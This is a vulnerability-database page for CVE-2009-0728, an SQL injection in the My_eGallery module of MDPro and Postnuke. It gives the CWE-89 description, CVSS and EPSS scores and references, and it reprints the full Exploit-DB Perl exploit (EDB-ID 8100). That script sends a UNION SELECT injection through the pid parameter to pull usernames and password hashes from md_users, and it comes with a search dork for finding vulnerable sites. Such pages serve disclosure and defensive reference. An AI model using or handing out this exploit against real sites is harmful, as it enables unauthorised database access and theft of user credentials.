CVE-2009-0728 : Detail

CVE-2009-0728

SQL Injection
A03-Injection
0.28%V4
Network
2009-02-24
22h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in the My_eGallery module for MAXdev MDPro (MD-Pro) and Postnuke allows remote attackers to execute arbitrary SQL commands via the pid parameter in a showpic action to index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 8100

Publication date : 2009-02-22 23h00 +00:00
Author : StAkeR
EDB Verified : Yes

#!/usr/bin/perl <<read; MDPro Module My_eGallery Remote SQL Injection Exploit by s3rg3770 && yeat - staker[at]hotmail[dot]it dork: inurl:module=My_eGallery pid note: works regardless of php.ini settings. read use IO::Socket; my ($host,$path,$id) = @ARGV; if (@ARGV != 3) { print "\n+-------------------------------------------------------+\n". "\r| MDPro Module My_eGallery Remote SQL Injection Exploit |\n". "\r+-------------------------------------------------------+\n". "\rby yeat - staker[at]hotmail[dot]it\n". "\nUsage: perl $0 host /path/ id\n". "\nhost: localhost\n". "\rpath: /mdpro/\n". "\rid: 2\n"; exit; } else { my ($packet,$inject,$content); $inject = "index.php?module=My_eGallery&do=showpic&pid=-1". "/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0". ",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7". "230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0". ",0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/*"; $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp' ) or die $!; $packet .= "GET /$inject HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "User-Agent: Lynx (textmode)\r\n"; $packet .= "Connection: close\r\n\r\n"; $socket->send($packet); while (<$socket>) { $content .= $_; } close($socket); if ($content =~ /<r0x>(.+?)<r0x>/i) { print "Exploit Successful: $1\n"; } else { print "Exploit Failed.\n"; } } # milw0rm.com [2009-02-23]

Products Mentioned

Configuraton 0

Maxdev>>My_egallery >> Version -

    Maxdev>>Md-pro >> Version *

      Postnuke>>Postnuke >> Version *

      References

      http://www.securityfocus.com/bid/33871
      Tags : vdb-entry, x_refsource_BID
      https://www.exploit-db.com/exploits/8100
      Tags : exploit, x_refsource_EXPLOIT-DB